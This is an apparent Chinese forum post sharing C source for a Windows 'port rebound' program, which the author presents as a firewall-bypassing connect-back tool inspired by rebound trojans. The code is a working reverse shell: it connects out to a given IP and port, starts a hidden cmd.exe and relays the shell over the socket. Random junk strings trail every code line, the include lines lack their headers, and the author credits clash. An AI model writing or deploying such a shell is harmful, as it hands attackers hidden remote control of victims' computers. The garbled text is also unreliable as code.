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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 q9_OGd|P  
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/* ============================== niyV8v  
Rebound port in Windows NT FZlWsp=  
By wind,2006/7 4HlQ&2O%#  
===============================*/ n>YKa)|W`  
#include 0e4{{zQx  
#include ##*3bDf$-5  
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#pragma comment(lib,"wsock32.lib") 6_Y,eL]"  
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void OutputShell(); ZE}}W _  
SOCKET sClient; ~>|ziHx  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; R m( "=(  
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void main(int argc,char **argv) y)@wjH{6  
{ S1_RjMbYM  
WSADATA stWsaData; 0l6.<-f{  
int nRet; Gc|idjW4  
SOCKADDR_IN stSaiClient,stSaiServer; [W&T(%(W-  
0H:X3y+  
if(argc != 3) 7@Qcc t4A  
{ 4WB0Pt{  
printf("Useage:\n\rRebound DestIP DestPort\n"); H:| uw  
return; "y}5;9#,  
} |6- nbj  
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WSAStartup(MAKEWORD(2,2),&stWsaData); F^:3?JA _  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g_bLl)g<  
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stSaiClient.sin_family = AF_INET; z$sT !QL~  
stSaiClient.sin_port = htons(0); /n&&Um\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 1% `Rs  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) |G<|F`Cj  
{ m&3xJuKih  
printf("Bind Socket Failed!\n"); F+qm[Bc8  
return; %cn<ych G  
} ;^L(^Hx  
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stSaiServer.sin_family = AF_INET; HoAy_7-5  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5^Zg>I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); y~V(aih}D  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) PA*5Bk="q  
{ :`sUt1Fw.  
printf("Connect Error!"); #vlgwA  
return; L~3Pm%{@A  
} Q!3_$<5<E>  
OutputShell(); p#tI;"\y  
} BA.uw_^4  
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void OutputShell() LzL So"n  
{ =_^X3z0  
char szBuff[1024]; :4|4=mkr  
SECURITY_ATTRIBUTES stSecurityAttributes; Gc7=  
OSVERSIONINFO stOsversionInfo; W,u:gzmhw  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 6eCCmIdaM  
STARTUPINFO stStartupInfo; vDvFL<`vmD  
char *szShell; =(^3}x  
PROCESS_INFORMATION stProcessInformation; |W^IlqTH  
unsigned long lBytesRead; jEwIn1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 7HWmCaa[  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 5r0YA IJ  
stSecurityAttributes.lpSecurityDescriptor = 0; Ys7]B9/1O  
stSecurityAttributes.bInheritHandle = TRUE; ?7A>+EY  
< %Y}R\s?  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Y/oHu@ _  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); |j|rS5  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); A}!J$V:w]  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; PY'2h4IL  
stStartupInfo.wShowWindow = SW_HIDE; wuBPfb  
stStartupInfo.hStdInput = hReadPipe; 1;iUWU1@  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Q{/Ef[(a@  
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GetVersionEx(&stOsversionInfo); p<%d2@lp  
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switch(stOsversionInfo.dwPlatformId) @6]JIJE  
{ ^rz_f{c]-  
case 1: -g<oS9   
szShell = "command.com"; ->jDb/a{C  
break; XP}<N&j  
default: =MWHJ'3-/  
szShell = "cmd.exe"; O0:q;<>z  
break; E`J@h l$N  
} +,l-Nz  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); y>LBl]  
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send(sClient,szMsg,77,0); d_ CT $  
while(1) H*6W q  
{ z!\*Y =e  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Xc.`-J~Il  
if(lBytesRead) k{0o9,  
{ d5-qZ{W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m+9#5a-  
send(sClient,szBuff,lBytesRead,0); 0 "#HJA44  
} 1*7@BP5  
else 0\$2X- c  
{ lxi<F  
lBytesRead=recv(sClient,szBuff,1024,0); ,,TnIouy  
if(lBytesRead<=0) break; Z:gyz$9w  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); P2Y^d#jO  
} W l4%GB  
} -qoH,4w  
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return; 'q.!|G2U  
}
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